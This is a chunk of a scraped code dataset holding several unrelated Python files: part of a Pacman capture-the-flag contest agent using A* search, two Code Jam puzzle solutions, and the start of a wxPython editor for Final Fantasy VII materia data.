team, want scores to go up\n if self.captureAgent.red == True:\n if gameState.data.scoreChange >= self.MINIMUM_IMPROVEMENT:\n self.goal_state_found = state\n return True\n else:\n False\n # If blue team, want scores to go down\n else:\n if gameState.data.scoreChange <= -self.MINIMUM_IMPROVEMENT:\n self.goal_state_found = state\n return True\n else:\n False\n\n def getSuccessors(self, state: t.Tuple[GameState], node_info: t.Optional[dict] = None) -> t.List[t.Tuple[t.Tuple[GameState], Directions, int]]:\n \"\"\"\n Your getSuccessors function for the CapsuleSearchProblem goes here.\n Args:\n state: a tuple combineing all the state information required\n Return:\n the states accessable by expanding the state provide\n \"\"\"\n # TODO: it looks like gameState does not know the behaviour of when to end the game\n # - gameState.data.timeleft records the total number of turns left in the game (each time a player nodes turn decreases, so should decriment by 4)\n # - capture.CaptureRule.process handles actually ending the game, using 'game' and 'gameState' object\n # As these rules are not capture (enforced) within out gameState object, we need capture it outselves\n # - Option 1: track time left explictly\n # - Option 2: when updating the gameState, add additional information that generateSuccesor doesn't collect\n # e.g set gameState.data._win to true. If goal then check gameState.isOver() is not true\n gameState = state[0]\n\n actions: t.List[Directions] = gameState.getLegalActions(\n self.captureAgent.index)\n # not interested in exploring the stop action as the state will be the same as out current one.\n if Directions.STOP in actions:\n actions.remove(Directions.STOP)\n next_game_states = [gameState.generateSuccessor(\n self.captureAgent.index, action) for action in actions]\n\n # if planning close to agent, include expected ghost activity\n current_depth_of_search = len(node_info[\"action_from_init\"])\n # we are only concerned about being eaten when we are pacman\n if current_depth_of_search <= self.DEPTH_CUTOFF and gameState.getAgentState(self.captureAgent.index).isPacman:\n self.expanded += 1 # track number of states expanded\n\n # make any nearby enemy ghosts take a step toward you if legal\n for i, next_game_state in enumerate(next_game_states):\n # get enemys\n current_agent_index = self.captureAgent.index\n enemy_indexes = next_game_state.getBlueTeamIndices() if next_game_state.isOnRedTeam(\n current_agent_index) else next_game_state.getRedTeamIndices()\n\n # keep only enemies that are close enough to catch pacman.\n close_enemy_indexes = [\n enemy_index for enemy_index in enemy_indexes if next_game_state.getAgentPosition(enemy_index) is not None]\n distancer = self.captureAgent.distancer\n my_pos = next_game_state.getAgentState(\n current_agent_index).getPosition()\n adjacent_enemy_indexs = list(filter(lambda x: distancer.getDistance(\n my_pos, next_game_state.getAgentState(x).getPosition()) <= 1, close_enemy_indexes))\n\n # check in enemies are in the right state\n adjacent_ghost_indexs = list(filter(lambda x: (not next_game_state.getAgentState(\n x).isPacman) and (next_game_state.getAgentState(x).scaredTimer <= 0), adjacent_enemy_indexs))\n\n # move enemies to the pacman position\n ghost_kill_directions = []\n for index in adjacent_ghost_indexs:\n position = next_game_state.getAgentState(\n index).getPosition()\n for action in Actions._directions.keys():\n new_pos = Actions.getSuccessor(position, action)\n if new_pos == my_pos:\n ghost_kill_directions.append(action)\n break\n\n # update state:\n for enemy_index, direction in zip(adjacent_ghost_indexs, ghost_kill_directions):\n self.expanded += 1\n next_game_state = next_game_state.generateSuccessor(\n enemy_index, direction)\n\n # make the update\n next_game_states[i] = next_game_state\n # if they are next to pacman, move ghost to pacman possiton\n\n # As per the following discussion, this is a very expensive method, may need to fully control our own state if it proves to be an issue\n # https://github.com/COMP90054/Documentation/blob/master/FAQ-Pacman.md#i-have-performance-problem-with-generatesuccessor-in-my-search-implementation-why\n # ball park: 100s of generated states okay, 1000's not\n successors = [((uniform_agent_direction(next_game_state),), action, 1)\n for action, next_game_state in zip(actions, next_game_states)]\n\n return successors\n\n\n# helpers\ndirection_map = {Directions.NORTH: (0, 1),\n Directions.SOUTH: (0, -1),\n Directions.EAST: (1, 0),\n Directions.WEST: (-1, 0),\n Directions.STOP: (0, 0)}\n\n\ndef offensiveHeuristic(state, problem=None):\n \"\"\"\n A heuristic function estimates the cost from the current state to the nearest\n goal in the provided SearchProblem. \n \"\"\"\n captureAgent = problem.captureAgent\n index = captureAgent.index\n gameState = state[0]\n\n # check if we have reached a goal state and explicitly return 0\n if captureAgent.red == True:\n if gameState.data.scoreChange >= problem.MINIMUM_IMPROVEMENT:\n return 0\n # If blue team, want scores to go down\n else:\n if gameState.data.scoreChange <= - problem.MINIMUM_IMPROVEMENT:\n return 0\n\n # continue with normal logc\n\n agent_state = gameState.getAgentState(index)\n food_carrying = agent_state.numCarrying\n\n myPos = gameState.getAgentState(index).getPosition()\n distancer = captureAgent.distancer\n\n # this will be updated to be closest food location if not collect enough food\n return_home_from = myPos\n\n # still need to collect food\n dist_to_food = 0\n if food_carrying < problem.MINIMUM_IMPROVEMENT:\n # distance to the closest food\n food_list = getFood(captureAgent, gameState).asList()\n\n min_pos = None\n min_dist = 99999999\n for food in food_list:\n dist = distancer.getDistance(myPos, food)\n if dist < min_dist:\n min_pos = food\n min_dist = dist\n\n dist_to_food = min_dist\n return_home_from = min_pos\n return dist_to_food\n\n # Returning Home\n # WARNING: this assumes the maps are always semetrical, territory is divided in half, red on right, blue on left\n walls = list(gameState.getWalls())\n y_len = len(walls[0])\n x_len = len(walls)\n mid_point_index = int(x_len/2)\n if captureAgent.red:\n mid_point_index -= 1\n\n # find all the entries and find distance to closest\n entry_coords = []\n for i, row in enumerate(walls[mid_point_index]):\n if row is False: # there is not a wall\n entry_coords.append((int(mid_point_index), int(i)))\n\n minDistance = min([distancer.getDistance(return_home_from, entry)\n for entry in entry_coords])\n return dist_to_food + minDistance\n\n\n# methods required for above heuristic\ndef getFood(agent, gameState):\n \"\"\"\n Returns the food you're meant to eat. This is in the form of a matrix\n where m[x][y]=true if there is food you can eat (based on your team) in that square.\n \"\"\"\n if agent.red:\n return gameState.getBlueFood()\n else:\n return gameState.getRedFood()\n\n\n################# Defensive problems and heuristics ####################\n\n\nclass defensiveAgent(agentBase):\n\n prevMissingFoodLocation = None\n enemyEntered = False\n boundaryGoalPosition = None\n\n def chooseAction(self, gameState: GameState):\n\n problem = defendTerritoryProblem(\n startingGameState=gameState, captureAgent=self)\n\n # actions = search.breadthFirstSearch(problem)\n # actions = aStarSearch(problem, heuristic=defensiveHeuristic)\n actions = aStarSearchDefensive(problem, heuristic=defensiveHeuristic)\n aStarSearchDefensive\n if len(actions) != 0:\n return actions[0]\n else:\n return random.choice(gameState.getLegalActions(self.index))\n # return 'Stop'\n # return actions[0]\n\n\nclass defendTerritoryProblem():\n def __init__(self, startingGameState: GameState, captureAgent: CaptureAgent):\n self.expanded = 0\n self.startingGameState = startingGameState\n self.captureAgent: CaptureAgent = captureAgent\n self.enemies = self.captureAgent.getOpponents(startingGameState)\n self.walls = startingGameState.getWalls()\n self.intialPosition = self.startingGameState.getAgentPosition(\n self.captureAgent.index)\n self.gridWidth = self.captureAgent.getFood(startingGameState).width\n self.gridHeight = self.captureAgent.getFood(startingGameState).height\n if self.captureAgent.red:\n self.boundary = int(self.gridWidth / 2) - 1\n self.myPreciousFood = self.startingGameState.getRedFood()\n else:\n self.boundary = int(self.gridWidth / 2)\n self.myPreciousFood = self.startingGameState.getBlueFood()\n\n (self.viableBoundaryPositions,\n self.possibleEnemyEntryPositions) = self.getViableBoundaryPositions()\n\n self.GOAL_POSITION = self.getGoalPosition()\n self.goalDistance = self.captureAgent.getMazeDistance(\n self.GOAL_POSITION, self.intialPosition)\n\n def getViableBoundaryPositions(self):\n myPos = self.startingGameState.getAgentPosition(\n self.captureAgent.index)\n b = self.boundary\n boundaryPositions = []\n enemyEntryPositions = []\n\n for h in range(0, self.gridHeight):\n if self.captureAgent.red:\n if not(self.walls[b][h]) and not(self.walls[b+1][h]):\n if (b, h) != myPos:\n boundaryPositions.append((b, h))\n enemyEntryPositions.append((b+1, h))\n\n else:\n if not(self.walls[b][h]) and not(self.walls[b-1][h]):\n if (b, h) != myPos:\n boundaryPositions.append((b, h))\n enemyEntryPositions.append((b-1, h))\n\n return (boundaryPositions, enemyEntryPositions)\n\n def getGoalPosition(self):\n isPacman = self.startingGameState.getAgentState(\n self.captureAgent.index).isPacman\n\n isScared = self.startingGameState.getAgentState(\n self.captureAgent.index).scaredTimer > 0\n\n if isScared:\n boundaryGoalPositions = self.closestPosition(\n self.intialPosition, self.viableBoundaryPositions)\n if self.captureAgent.boundaryGoalPosition == None:\n boundaryGoalPosition = boundaryGoalPositions.pop()\n self.captureAgent.boundaryGoalPosition = boundaryGoalPosition\n else:\n if self.captureAgent.boundaryGoalPosition == self.intialPosition:\n boundaryGoalPosition = boundaryGoalPositions.pop()\n self.captureAgent.boundaryGoalPosition = boundaryGoalPosition\n else:\n boundaryGoalPosition = self.captureAgent.boundaryGoalPosition\n return boundaryGoalPosition\n\n missingFoodPosition = self.getMissingFoodPosition()\n\n if missingFoodPosition != None:\n self.captureAgent.prevMissingFoodLocation = missingFoodPosition\n return missingFoodPosition\n\n for enemy in self.enemies:\n if self.startingGameState.getAgentState(enemy).isPacman:\n self.captureAgent.enemyEntered = True\n if self.startingGameState.getAgentPosition(enemy) != None:\n return self.startingGameState.getAgentPosition(enemy)\n else:\n return self.getProbableEnemyEntryPointBasedOnFood()\n # return self.getProbableEnemyEntryPoint()\n else:\n self.captureAgent.enemyEntered = False\n\n if self.captureAgent.prevMissingFoodLocation != None and self.captureAgent.enemyEntered:\n return self.captureAgent.prevMissingFoodLocation\n\n boundaryGoalPositions = self.closestPosition(\n self.intialPosition, self.viableBoundaryPositions)\n\n if self.captureAgent.boundaryGoalPosition == None:\n boundaryGoalPosition = boundaryGoalPositions.pop()\n self.captureAgent.boundaryGoalPosition = boundaryGoalPosition\n else:\n if self.captureAgent.boundaryGoalPosition == self.intialPosition:\n boundaryGoalPosition = boundaryGoalPositions.pop()\n self.captureAgent.boundaryGoalPosition = boundaryGoalPosition\n else:\n boundaryGoalPosition = self.captureAgent.boundaryGoalPosition\n\n return boundaryGoalPosition\n\n def closestPosition(self, fromPos, positions):\n positionsSorted = util.PriorityQueue()\n for toPos in positions:\n positionsSorted.push(\n toPos, self.captureAgent.getMazeDistance(toPos, fromPos))\n return positionsSorted\n\n def getProbableEnemyEntryPoint(self):\n positionsSorted = util.PriorityQueue()\n positionsSorted = self.closestPosition(\n self.intialPosition, self.possibleEnemyEntryPositions)\n\n while not(positionsSorted.isEmpty()):\n possibleEntry = positionsSorted.pop()\n if self.captureAgent.distancer.getDistanceOnGrid(self.intialPosition, possibleEntry) > 5:\n return possibleEntry\n return random.choice(self.possibleEnemyEntryPositions)\n\n def getProbableEnemyEntryPointBasedOnFood(self):\n positionsSorted = util.PriorityQueue()\n bestEnemyPosition = util.PriorityQueue()\n positionsSorted = self.closestPosition(\n self.intialPosition, self.possibleEnemyEntryPositions)\n\n while not(positionsSorted.isEmpty()):\n possibleEntry = positionsSorted.pop()\n if self.captureAgent.distancer.getDistanceOnGrid(self.intialPosition, possibleEntry) > 5:\n closestFoodPosition = self.closestPosition(\n possibleEntry, self.myPreciousFood.asList()).pop()\n distancetoToClosestFoodFromPosition = self.captureAgent.getMazeDistance(\n possibleEntry, closestFoodPosition)\n bestEnemyPosition.push(\n possibleEntry, distancetoToClosestFoodFromPosition)\n\n bestEnemyEntryPosition = bestEnemyPosition.pop()\n\n if bestEnemyEntryPosition:\n return bestEnemyEntryPosition\n else:\n return random.choice(self.possibleEnemyEntryPositions)\n\n def getMissingFoodPosition(self):\n\n prevFood = self.captureAgent.getFoodYouAreDefending(self.captureAgent.getPreviousObservation()).asList() \\\n if self.captureAgent.getPreviousObservation() is not None else list()\n currFood = self.captureAgent.getFoodYouAreDefending(\n self.startingGameState).asList()\n\n if prevFood:\n if len(prevFood) > len(currFood):\n foodEaten = list(set(prevFood) - set(currFood))\n if foodEaten:\n return foodEaten[0]\n return None\n\n def getStartState(self):\n return (self.startingGameState, self.goalDistance)\n\n def isGoalState(self, state: (GameState, int)):\n\n gameState = state[0]\n\n (x, y) = myPos = gameState.getAgentPosition(self.captureAgent.index)\n\n if myPos == self.GOAL_POSITION:\n return True\n else:\n return False\n\n def getSuccessors(self, state: (GameState, int), node_info=None):\n self.expanded += 1\n\n gameState = state[0]\n\n actions: t.List[Directions] = gameState.getLegalActions(\n self.captureAgent.index)\n\n goalDistance = self.captureAgent.getMazeDistance(\n self.GOAL_POSITION, gameState.getAgentPosition(self.captureAgent.index))\n\n successors_all = [((gameState.generateSuccessor(\n self.captureAgent.index, action), goalDistance), action, 1) for action in actions]\n\n successors = []\n\n for successor in successors_all:\n (xs, ys) = successor[0][0].getAgentPosition(\n self.captureAgent.index)\n if self.captureAgent.red:\n if xs <= self.boundary:\n successors.append(successor)\n else:\n if xs >= self.boundary:\n successors.append(successor)\n\n return successors\n\n def getCostOfActions(self, actions):\n \"\"\"Returns the cost of a particular sequence of actions. If those actions\n include an illegal move, return 999999\"\"\"\n util.raiseNotDefined()\n\n\ndef defensiveHeuristic(state, problem=None):\n \"\"\"\n A heuristic function estimates the cost from the current state to the nearest\n goal in the provided SearchProblem. This heuristic is trivial.\n \"\"\"\n gameState = state[0]\n currGoalDistance = state[1]\n\n succGoalDistance = problem.captureAgent.getMazeDistance(\n problem.GOAL_POSITION, gameState.getAgentPosition(problem.captureAgent.index))\n\n if succGoalDistance < currGoalDistance:\n return 0\n else:\n return float('inf')\n\n\n#################### Utils #############################\n# utils for controlling execution time\n# Credit to: https://stackoverflow.com/questions/366682/how-to-limit-execution-time-of-a-function-call-in-python\n\n\nclass TimeoutException(Exception):\n pass\n\n# TODO: this only runs in Unix environment (the competition is unix). If developing on windows can update this.\n\n\n@contextmanager\ndef time_limit(seconds):\n def signal_handler(signum, frame):\n raise TimeoutException(\"Timed out!\")\n signal.signal(signal.SIGALRM, signal_handler)\n signal.alarm(seconds)\n try:\n yield\n finally:\n signal.alarm(0)\n\n# How to use it\n# try:\n# with time_limit(10):\n# long_function_call()\n# except TimeoutException as e:\n# print(\"Timed out!\")\n\n\n################# Search Algorithems ###################\n\n\nclass SolutionNotFound(Exception):\n pass\n\n\nclass Node():\n def __init__(self, *, name):\n self.name = name\n\n def add_info(self, **kwargs):\n for key, value in kwargs.items():\n setattr(self, key, value)\n return self\n\n\ndef nullHeuristic(state, problem=None):\n return 0\n\n\ndef aStarSearch(problem, heuristic=nullHeuristic):\n \"\"\"Search the node that has the lowest combined cost and heuristic first.\"\"\"\n \"*** YOUR CODE HERE FOR TASK 3 ***\"\n node = Node(name=\"n0\").add_info(state=problem.getStartState())\n h_n = heuristic(node.state, problem=problem)\n g_n = 0 # accumulated cost so far\n node.add_info(\n f_n=g_n + h_n, # f unction to sort the priority queue by\n g_n=g_n, # accumilated cost so far\n action_from_init=[],\n )\n\n op = util.PriorityQueue()\n op.push(node, priority=node.f_n)\n close = set() # state based\n best_g = {} # key = state, value = g_n\n\n # total_expanded = 0\n # reopen_count = 0\n\n while not op.isEmpty():\n count = 1\n node = op.pop()\n if (node.state not in close) or (node.g_n < best_g[node.state]):\n # very useful debugging info - will be left for future users\n # total_expanded += 1\n # print(\"------------\")\n # print(node.state[0])\n # print(node.action_from_init)\n # print(f\"f_n {node.f_n}\")\n # print(f\"g_n {node.g_n}\")\n # print(f\"Nodes expanded {total_expanded}\")\n # if node.state in close:\n # print(f\"node reopened\")\n # reopen_count +=1\n # print(f\"total reopens {reopen_count}\")\n # print(\"previous g_n improved on {best_g[node.state]}\")\n # print(\"------------\")\n close.add(node.state)\n best_g[node.state] = node.g_n\n if problem.isGoalState(node.state):\n break\n else:\n for related_node in problem.getSuccessors(node.state, node_info={\"action_from_init\": [*node.action_from_init]}):\n new_state, action, step_cost = related_node[0], related_node[1], related_node[2]\n g_n = node.g_n + step_cost\n h_n = heuristic(new_state, problem=problem)\n if h_n < float('inf'): # solution is possible\n new_node = Node(name=f\"n{count}\").add_info(\n state=new_state,\n f_n=g_n + h_n,\n g_n=g_n,\n action_from_init=[\n *node.action_from_init] + [action],\n )\n # checking if goal here improves performance\n # also protects agains bad heuristics that would send a goal to the end of the heap\n if problem.isGoalState(node.state):\n node = new_node\n break\n count += 1\n op.update(new_node, new_node.f_n)\n else:\n raise SolutionNotFound({\"start_state\": problem.getStartState})\n\n # debugging info will be left for future users\n # print(\"--------------- FINAL RESULTS -----------------\")\n # print(node.action_from_init)\n # print(len(node.action_from_init))\n # print(f\"node reopened {reopen_count}\")\n return node.action_from_init\n gameState = state[0]\n currGoalDistance = state[1]\n\n succGoalDistance = problem.captureAgent.getMazeDistance(\n problem.GOAL_POSITION, gameState.getAgentPosition(problem.captureAgent.index))\n # print(gameState.getAgentPosition(problem.captureAgent.index))\n if succGoalDistance < currGoalDistance:\n return 0\n else:\n return 9999999\n\n return 0\n\n\ndef aStarSearchDefensive(problem, heuristic=nullHeuristic):\n \"\"\"Search the node that has the lowest combined cost and heuristic first.\"\"\"\n \"*** YOUR CODE HERE FOR TASK 3 ***\"\n\n explore = util.PriorityQueue()\n\n initial_state = problem.getStartState()\n h = heuristic(initial_state, problem)\n g = 0\n\n explore.update((initial_state, [], g), g + h)\n\n visited_states = []\n best_g = 0\n\n while not explore.isEmpty():\n state, action, g = explore.pop()\n\n if state not in visited_states or g < best_g:\n visited_states.append(state)\n\n if g < best_g:\n best_g = g\n\n if problem.isGoalState(state):\n return action\n\n for child_state, child_action, child_cost in problem.getSuccessors(state):\n child_heuristic = heuristic(child_state, problem)\n\n if child_heuristic < float(\"inf\"):\n explore.update(\n (child_state, action + [child_action], g + child_cost),\n g + child_cost + child_heuristic,\n )\n\n return []\n util.raiseNotDefined()\n","repo_name":"abhinavcreed13/ai-capture-the-flag-pacman-contest","sub_path":"myTeamHeuristicAgent.py","file_name":"myTeamHeuristicAgent.py","file_ext":"py","file_size_in_byte":33989,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"23404720561","text":"\ndef calcmoves(asize, motes):\n# print(\"CALCMOVES: \")\n# print(asize)\n# print(motes)\n while len(motes) > 0 and motes[0] < asize:\n asize += motes[0]\n motes = motes[1:]\n if len(motes) > 0:\n if asize > 1:\n return 1 + min(calcmoves(asize, [asize - 1] + motes),\n calcmoves(asize, motes[1:]))\n else:\n return 1 + calcmoves(asize, motes[1:])\n return 0\n\ninputfile = \"A-small-attempt1.in\"\noutputfile = \"osmos.out\"\n\ninp = open(inputfile, \"r\")\ncases = int(str(inp.readline().strip()))\ni = 1\nout = open(outputfile, \"w\")\n\nwhile i <= cases:\n asize, _ = [int(k) for k in str(inp.readline()).strip().split()]\n motes = sorted([int(k) for k in str(inp.readline()).strip().split()])\n moves = calcmoves(asize, motes)\n print(asize, motes, moves)\n out.write(\"Case #\" + str(i) + \": \" + str(moves) + \"\\n\")\n i += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_123/544.py","file_name":"544.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23422245911","text":"#!python2\nfrom __future__ import division, print_function\n\nimport sys\nfrom pprint import pprint as pp\nimport math as m\nfrom itertools import count\n\ndef result_no(C, F, X):\n print(str((C, F, X)), file=sys.stderr)\n i = int(m.ceil((F*X - 2*C - F*C) / F*C))\n print(i, file=sys.stderr)\n return (\n sum((C/(2+j*F)) for j in xrange(i+1)) # time to build i farms\n + (X / (2+i*F)) # time to finally get the wanted cookies\n )\n\ndef result(C, F, X):\n t = 0\n R = 2\n for i in count():\n time_no_other_farm = X/R\n time_next_farm = C/R\n time_no_other_farm_NEXT = X/(R+F)\n if time_no_other_farm < time_next_farm + time_no_other_farm_NEXT:\n t += time_no_other_farm\n break\n else:\n t += time_next_farm\n R += F\n return t\n\nif __name__ == '__main__':\n T = int(sys.stdin.readline().strip())\n for t in range(T):\n c, f, x = [float(s.strip()) for s in\n sys.stdin.readline().strip().split()]\n print(\"Case #{}: {:.7f}\".format(str(t+1), result(c, f, x)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_136/1553.py","file_name":"1553.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39901043343","text":"#Boa:Frame:Frame2\n\nimport wx\nimport array\nimport binascii\n\nmateria = ['\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00']*22\nmx = 0\n\ndef materiaLoader(filename,fileoffset):\n global materia\n # loader is a fileloader. It creates a list of limits and returns it.\n # loader goes to the offset in the chosen file, specified by filename and fileoffset\n # Then, it reads blocks of data of 28 bytes (d) length into the members of limits.\n # Reading is done in binary mode, and the file is closed at the end.\n # The returned list 'limits' will then be used by the 'updater'. offset 4900d for PSX\n\n materiamenufile = open(filename,'rb')\n materiamenufile.seek(fileoffset)\n\n a = 0\n while a < 22:\n materia[a] = materiamenufile.read(16)\n a = a + 1\n\n materiamenufile.close()\n #print(materia)\n return materia\n\ndef update(self):\n # This module reads from the ~limits list, determined by x (usually lx)\n # Data from ~limits[lx] is read, then converted into ff7_vars, each linked\n # to a particular hex character in the string.\n\n global materia\n\n global mx\n\n\n byte = 8\n materiaarray = ['\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00']*22\n\n j = 0\n while j < 22:\n materiastring = materia[j]\n\n materiabytelist = [' ']*8\n materiabytelist2 = [' ']*8\n\n i = 0\n while i < 8:\n try:\n materiabytelist[i] = binascii.hexlify(materiastring[i*2])\n materiabytelist2[i] = int(materiabytelist[i],16)\n if (materiabytelist2[i] > 128):\n number = int(materiabytelist2[i])\n binary = bin(number)\n materiabytelist2[i] = int(binary,2)-(1<<byte)\n except IndexError:\n materiabytelist[i] = 0\n materiabytelist2[i] = 0\n i = i+1\n\n #print(materiabytelist)\n materiaarray[j] = materiabytelist2\n j += 1\n #print(materiaarray)\n\n # Rellenar Tabla\n children = self.panel1.GetChildren()\n j = 0\n for child in children:\n attnumber = materiaarray[j]\n j += 1\n widget = child.GetName()\n children = child.GetChildren()\n i = 0\n for child in children:\n widget = child.GetName()\n if isinstance(child, wx._core.TextCtrl):\n child.SetValue(str(attnumber[i]))\n i += 1\n\ndef downdate(self):\n # This module does the opposite of update. It polls the gui controls\n # for data, which it turns into decimal data in a datalist list.\n # This is then parsed into a hex string, limitstring,\n # before being pushed into limits[lx].\n global materia\n global mx\n\n materiaData = ['\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00']*22\n\n # Leer Tabla\n children = self.panel1.GetChildren()\n j = 0\n for child in children:\n widget = child.GetName()\n children = child.GetChildren()\n\n attnumber = ['']*8\n materiaAtt = ['']*16\n materiaLol = ['']*16\n\n i = 0\n for child in children:\n widget = child.GetName()\n if isinstance(child, wx._core.TextCtrl):\n attnumber[i] = int(child.GetValue())\n #print(attnumber[i])\n if (attnumber[i] >= 0)&(attnumber[i] <= 128):\n materiaAtt[i*2] = attnumber[i]\n materiaAtt[i*2+1] = 0\n else:\n\n number = int(attnumber[i])\n number += 256\n\n materiaAtt[i*2] = number\n materiaAtt[i*2+1] = 255\n\n\n i += 1\n\n #print(materiaAtt)\n materiaData[j] = array.array('B', materiaAtt).tostring()\n\n #materiaData[j] = materiaAtt\n\n #materiaData[j] = ''.join(materiaAtt)\n #print(\"JOIN\")\n #print(materiaData[j])\n #materiaData[j] = materiaData[j].split()\n #materiaData[i] = array.array('B', materiaAtt[i]).tostring()\n #materiaData[i*2] = array.array('B', materiaAtt[i*2]).tostring()\n\n j += 1\n\n\n #print('############')\n #print(materiaData)\n #print('############')\n\n\n materia = materiaData\n\n return materia\n\ndef saver(filename,fileoffset):\n #print(\"~~~~~~~~~~~~~~~~~~~~~~~\")\n global materia\n # This module saves the file. It should be preceded in use by the updater.\n # Data is stored in limits[lx]. All we have to do is go to the file\n materiamenufile = open(filename,'r+b')\n materiamenufile.seek(fileoffset)\n\n a = 0\n while a < 22:\n b = str(materia[a])\n materiamenufile.write(b)\n a +=1\n materiamenufile.close()\n #print(\"SAVED\")\n\ndef create(parent):\n return Frame2(parent)\n\n[wxID_FRAME2, wxID_FRAME2BUTTON1, wxID_FRAME2BUTTON2, wxID_FRAME2PANEL1, \n wxID_FRAME2PANEL10, wxID_FRAME2PANEL11, wxID_FRAME2PANEL12, \n wxID_FRAME2PANEL13, wxID_FRAME2PANEL14, wxID_FRAME2PANEL15, \n wxID_FRAME2PANEL16, wxID_FRAME2PANEL17, wxID_FRAME2PANEL18, \n wxID_FRAME2PANEL19, wxID_FRAME2PANEL2, wxID_FRAME2PANEL20, \n wxID_FRAME2PANEL21, wxID_FRAME2PANEL22, wxID_FRAME2PANEL23, \n wxID_FRAME2PANEL24, wxID_FRAME2PANEL3, wxID_FRAME2PANEL4, wxID_FRAME2PANEL5, \n wxID_FRAME2PANEL6, wxID_FRAME2PANEL7, wxID_FRAME2PANEL8, wxID_FRAME2PANEL9, \n wxID_FRAME2PANELBUTTONS, wxID_FRAME2STATICTEXT1, wxID_FRAME2STATICTEXT10, \n wxID_FRAME2STATICTEXT11, wxID_FRAME2STATICTEXT12, wxID_FRAME2STATICTEXT13, \n wxID_FRAME2STATICTEXT14, wxID_FRAME2STATICTEXT15, wxID_FRAME2STATICTEXT16, \n wxID_FRAME2STATICTEXT17, wxID_FRAME2STATICTEXT18, wxID_FRAME2STATICTEXT19, \n wxID_FRAME2STATICTEXT2, wxID_FRAME2STATICTEXT20, wxID_FRAME2STATICTEXT21, \n wxID_FRAME2STATICTEXT22, wxID_FRAME2STATICTEXT23, wxID_FRAME2STATICTEXT3, \n wxID_FRAME2STATICTEXT4, wxID_FRAME2STATICTEXT5, wxID_FRAME2STATICTEXT6, \n wxID_FRAME2STATICTEXT7, wxID_FRAME2STATICTEXT8, wxID_FRAME2STATICTEXT9, \n wxID_FRAME2TEXTCTRL1, wxID_FRAME2TEXTCTRL10, wxID_FRAME2TEXTCTRL100, \n wxID_FRAME2TEXTCTRL101, wxID_FRAME2TEXTCTRL102, wxID_FRAME2TEXTCTRL103, \n wxID_FRAME2TEXTCTRL104, wxID_FRAME2TEXTCTRL105, wxID_FRAME2TEXTCTRL106, \n wxID_FRAME2TEXTCTRL107, wxID_FRAME2TEXTCTRL108, wxID_FRAME2TEXTCTRL109, \n wxID_FRAME2TEXTCTRL11, wxID_FRAME2TEXTCTRL110, wxID_FRAME2TEXTCTRL111, \n wxID_FRAME2TEXTCTRL112, wxID_FRAME2TEXTCTRL113, wxID_FRAME2TEXTCTRL114, \n wxID_FRAME2TEXTCTRL115, wxID_FRAME2TEXTCTRL116, wxID_FRAME2TEXTCTRL117, \n wxID_FRAME2TEXTCTRL118, wxID_FRAME2TEXTCTRL119, wxID_FRAME2TEXTCTRL12, \n wxID_FRAME2TEXTCTRL120, wxID_FRAME2TEXTCTRL121, wxID_FRAME2TEXTCTRL122, \n wxID_FRAME2TEXTCTRL123, wxID_FRAME2TEXTCTRL124, wxID_FRAME2TEXTCTRL125, \n wxID_FRAME2TEXTCTRL126, wxID_FRAME2TEXTCTRL127, wxID_FRAME2TEXTCTRL128, \n wxID_FRAME2TEXTCTRL129, wxID_FRAME2TEXTCTRL13, wxID_FRAME2TEXTCTRL130, \n wxID_FRAME2TEXTCTRL131, wxID_FRAME2TEXTCTRL132, wxID_FRAME2TEXTCTRL133, \n wxID_FRAME2TEXTCTRL134, wxID_FRAME2TEXTCTRL135, wxID_FRAME2TEXTCTRL136, \n wxID_FRAME2TEXTCTRL137, wxID_FRAME2TEXTCTRL138, wxID_FRAME2TEXTCTRL139, \n wxID_FRAME2TEXTCTRL14, wxID_FRAME2TEXTCTRL140, wxID_FRAME2TEXTCTRL141, \n wxID_FRAME2TEXTCTRL142, wxID_FRAME2TEXTCTRL143, wxID_FRAME2TEXTCTRL144, \n wxID_FRAME2TEXTCTRL145, wxID_FRAME2TEXTCTRL146, wxID_FRAME2TEXTCTRL147, \n wxID_FRAME2TEXTCTRL148, wxID_FRAME2TEXTCTRL149, wxID_FRAME2TEXTCTRL15, \n wxID_FRAME2TEXTCTRL150, wxID_FRAME2TEXTCTRL151, wxID_FRAME2TEXTCTRL152, \n wxID_FRAME2TEXTCTRL153, wxID_FRAME2TEXTCTRL154, wxID_FRAME2TEXTCTRL155, \n wxID_FRAME2TEXTCTRL156, wxID_FRAME2TEXTCTRL157, wxID_FRAME2TEXTCTRL158, \n wxID_FRAME2TEXTCTRL159, wxID_FRAME2TEXTCTRL16, wxID_FRAME2TEXTCTRL160, \n wxID_FRAME2TEXTCTRL161, wxID_FRAME2TEXTCTRL162, wxID_FRAME2TEXTCTRL163, \n wxID_FRAME2TEXTCTRL164, wxID_FRAME2TEXTCTRL165, wxID_FRAME2TEXTCTRL166, \n wxID_FRAME2TEXTCTRL167, wxID_FRAME2TEXTCTRL168, wxID_FRAME2TEXTCTRL169, \n wxID_FRAME2TEXTCTRL17, wxID_FRAME2TEXTCTRL170, wxID_FRAME2TEXTCTRL171, \n wxID_FRAME2TEXTCTRL172, wxID_FRAME2TEXTCTRL173, wxID_FRAME2TEXTCTRL174, \n wxID_FRAME2TEXTCTRL175, wxID_FRAME2TEXTCTRL176, wxID_FRAME2TEXTCTRL18, \n wxID_FRAME2TEXTCTRL19, wxID_FRAME2TEXTCTRL2, wxID_FRAME2TEXTCTRL20, \n wxID_FRAME2TEXTCTRL21, wxID_FRAME2TEXTCTRL22, wxID_FRAME2TEXTCTRL23, \n wxID_FRAME2TEXTCTRL24, wxID_FRAME2TEXTCTRL25, wxID_FRAME2TEXTCTRL26, \n wxID_FRAME2TEXTCTRL27, wxID_FRAME2TEXTCTRL28, wxID_FRAME2TEXTCTRL29, \n wxID_FRAME2TEXTCTRL3, wxID_FRAME2TEXTCTRL30, 